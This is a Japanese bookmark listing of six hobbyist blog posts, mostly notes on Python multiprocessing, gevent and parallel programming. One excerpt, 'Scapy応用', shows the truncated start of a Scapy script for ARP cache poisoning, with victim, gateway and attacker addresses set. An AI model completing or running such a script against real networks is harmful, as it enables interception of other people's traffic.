タグ

ブックマーク / reonreon3reon.hatenablog.com (6)

  • Geventの良さ3 - ひたむきに生きたい。

    Scapyに移りたかったんですけど、さすがに中途半端すぎるので、 Geventの良さ1が始まってから、2日ぐらいしか経ってないので、一週間は頑張ろうと思います。 #multiprocessing def queue_func(queue): for i in range(30): time.sleep(0.5 * random.random()) queue.put(i*i) queue.put('STOP') def test_queue(): q = multiprocessing.Queue() p = multiprocessing.Process(target=queue_func, args=(q,)) p.start() o = None while o != 'STOP': try: o = q.get(timeout=0.3) print(o, end=' ') sys.

    Geventの良さ3 - ひたむきに生きたい。
    peketamin
    peketamin 2015/11/27
  • Scapy応用 - ひたむきに生きたい。

    Scapyを使ってARP cache Poisoning してみようというソースです。動くかは分かりません。 # -*- coding: utf-8 -*- from optparse import OptionParser import threading import time import sys from scapy.all import * from scapy import * VICTIM_IP = '192.168.107.45' VICTIM_MAC = '' GATEWAY_IP = '192.168.107.1' #router GATEWAY_MAC = '' ATTACKER_IP = '' ATTACKER_MAC = '' class ArpPoisonThread(threading.Thread): def __init__(self, arp_respo

    Scapy応用 - ひたむきに生きたい。
    peketamin
    peketamin 2015/11/27
  • Geventの良さ2 - ひたむきに生きたい。

    これはメモです from multiprocessing import Pool def f(x): return x*x if __name__ == '__main__': with Pool(processes=4) as pool: # start 4 worker processes result = pool.apply_async(f, (10,)) # evaluate "f(10)" asynchronously print(result.get(timeout=1)) # prints "100" unless your computer is *very* slow print(pool.map(f, range(10))) # prints "[0, 1, 4,..., 81]" it = pool.imap(f, range(10)) print(next(it)

    Geventの良さ2 - ひたむきに生きたい。
    peketamin
    peketamin 2015/11/27
  • Geventの良さ - ひたむきに生きたい。

    ここによく出てくるEvent Loop... Event LooPってなんだ? はい、イメージで言うとselectで待つこと。 例えば、 同期的な受信処理を書くと… sock = socket() sock.recv() #ここでデータが来るのを待つ これだと、一つのプロセスはデータが来るのを待ち続けることになる。 ゆえに、非同期的にデータをselectで待ちます。 すると sock = socket() select([sock],[],[]) という感じになります。 ちなみに、select関数はこのようになっております。 FUNCTIONS select(rlist, wlist, xlist, timeout=None) Greenletというのは非同期の考え方をより抽象的にしたもので、 ひとつのプロセスで複数のコンテキストを扱えるようになります。 「2つ以上違うプロセスを同時で動か

    Geventの良さ - ひたむきに生きたい。
    peketamin
    peketamin 2015/11/27
  • 並列プログラミング - ひたむきに生きたい。

    目的 もうすぐ、SuperConでスーパーコンピュータで競技するので、すこしでも並列処理について詳しくなって、何が必要かまとめます。ROP chalやりたいんですけど、解法もわかってもう少しっていうところで出来なくて泣きそうなので、少し別のことをしたいと思いました。以前、Geventについても調べていて、それをブログにうpしてたのですが、当時は並列プログラミングにしか興味なくて実際どのような動きをコンピュータの中で動いているかわからなかったため、もう少し調べようと思いました。 内容 1.MPIについて 1-1.並列処理の種類 ・単一命令・単一データ流(SISD) ・単一命令・複数データ流(SIMD) ・複数命令・単一データ流(MISD) ・複数命令・複数データ流(MIMD) 種類はたくさんあるが、有名なのは「単一命令・複数データ流(SIMD)である。SIMDとは、一つの命令で同時に複数のデ

    並列プログラミング - ひたむきに生きたい。
    peketamin
    peketamin 2015/11/27
  • Geventの良さ4 - ひたむきに生きたい。

    昨日の続きします。 multiprocessingのPoolとProcessの違いがちょっとわからなかったんですが、聞いてみたところ、Processは人で,Poolは部屋だそうです。なるほど。わかりやすすぎる。 > http://ideone.com/GhpaJU > これの、 > gevent.sleep(0)って必要ですか? これはコンテキストスイッチさせているんですが、イメージわかりますかね? OSのプロセススケジューリングと同じです。 1.geventはマルチプロセスではないのでプロセスは1つ、CPU(コア)を一つだけ使える 2. 一つのCPUを複数のgreenletで順番に切り替えながら使う (あるときに動いているgreenletは1つだけ) 3.動いているgreenletがgevent.sleep(0)とすると、CPUを次の人に渡す(コンテキストスイッチ)これはコンテキストスイ

    Geventの良さ4 - ひたむきに生きたい。
    peketamin
    peketamin 2015/11/27
  • 1